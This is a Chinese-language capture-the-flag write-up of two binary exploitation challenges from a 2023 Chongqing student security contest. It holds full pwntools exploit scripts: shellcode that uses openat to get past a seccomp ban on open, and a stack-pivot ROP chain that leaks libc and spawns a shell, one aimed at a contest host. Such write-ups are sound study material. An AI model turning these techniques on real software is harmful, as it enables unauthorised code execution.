2023 年重庆市大学生信息安全竞赛线上初赛 | PWN

1.babyshell

2.just_read

1.babyshell

nx关闭了的,堆栈可读可写可执行,拖入ida分析

在初始化时开了沙盒,这些为黑名单,不能使用,本来想用open,read,write来获取flag的,但是禁用了open(调用号为2),还好可以使用openat,它的调用号为257

int openat(int dirfd, const char *pathname, int flags, mode_t mode)

如果pathname指定的是绝对路径。这种情况下,dirfd参数将被忽略,openat函数等同于open函数

开了地址随机化,但可以写汇编向栈上存储flag,接着输出

EXP:

#coding=utf-8

from pwn import *
import base64
from ctypes import *
#sh=remote("tcp.cloud.dasctf.com",28827)
sh=process("./babyshell")
elf=ELF("./babyshell")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+b"\x00"*2)-a
inter=lambda:sh.interactive()
U64=lambda a:u64(sh.recv(6)+b"\x00"*2)-libc.sym[a]
libcc=cdll.LoadLibrary(b"/lib/x86_64-linux-gnu/libc.so.6")

shell=shellcraft.openat(0,b"/home/flag",0,0)
#read(3,rsp-0x500,0x30)
shell+="mov rdi,3;lea rsi,[rsp-0x500];mov rdx,0x30;xor rax,rax;syscall;"

#write(1,rsp-0x500,0x30)
shell+="mov rdi,1;lea rsi,[rsp-0x500];mov rdx,0x30;mov rax,1;syscall"

sd(asm(shell))

inter()

2.just_read

没开canary,拖入ida分析

结构很简单,能看出控制rbp和rip来栈迁移,但没有给栈地址,这时就要动脑了

还好没开pie,地址没随机化,可以使用bss来栈迁移,第一次修改rbp到bss段中,然后返回到0x400675即可向bss中写入

注意的是lea rax,[rbp+buf],buf为-0x40,会在低0x40地址开始写入,所以我们把rbp改为bss+0x40

此时就是向bss写入,在bss+0x40这个位置写入bss-8(有个pop rbp)和返回地址写入leave_ret,最后就能把rsp迁移到bss段,在bss段写入rop来泄露libc基址(本地库就可以)和通过pop_rbp_ret来继续控制rbp(通过ROPgadget来查找),这次bss段地址要高,因为system入栈的参数很多,如果不提高栈地址很有可能覆盖到got表或其他重要的数据导致程序直接报错

最后和前面一样,把最后16字节rbp和返回地址修改为第二次bss-8和leave_ret即可get shell

EXP:

#coding=utf-8

from pwn import *
from LibcSearcher import *
from pwnlib import *
import base64
from ctypes import *
sh=remote("tcp.cloud.dasctf.com",22250)
#sh=process("./dsactf")
elf=ELF("./dsactf")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda:sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]

libcc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

pop_rdi=0x400723
ret=0x400724
puts=elf.plt['puts']
puts_got=elf.got['puts']
leave=0x400691#0x400675
bss=0x601200
pop_rbp=0x0000000000400578
un("just read!")
sd("a"*0x40+p64(bss+0x40)+p64(0x400675))
pay=p64(pop_rdi)+p64(puts_got)+p64(puts)
pay+=p64(pop_rbp)+p64(bss+0x500)+p64(0x400675)
pay=pay.ljust(0x40,"\x00")

sd(pay+p64(bss-0x8)+p64(leave))
un("\n")
jz=u64(sh.recv(6)+"\x00"*2)-libc.sym['puts']

system=jz+libc.sym['system']
bin_sh=jz+libc.search("/bin/sh").next()

pay=p64(pop_rdi)+p64(bin_sh)+p64(system)
pay=pay.ljust(0x40,"\x00")

sd(pay+p64(bss+0x500-0x48)+p64(leave))

inter()
 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值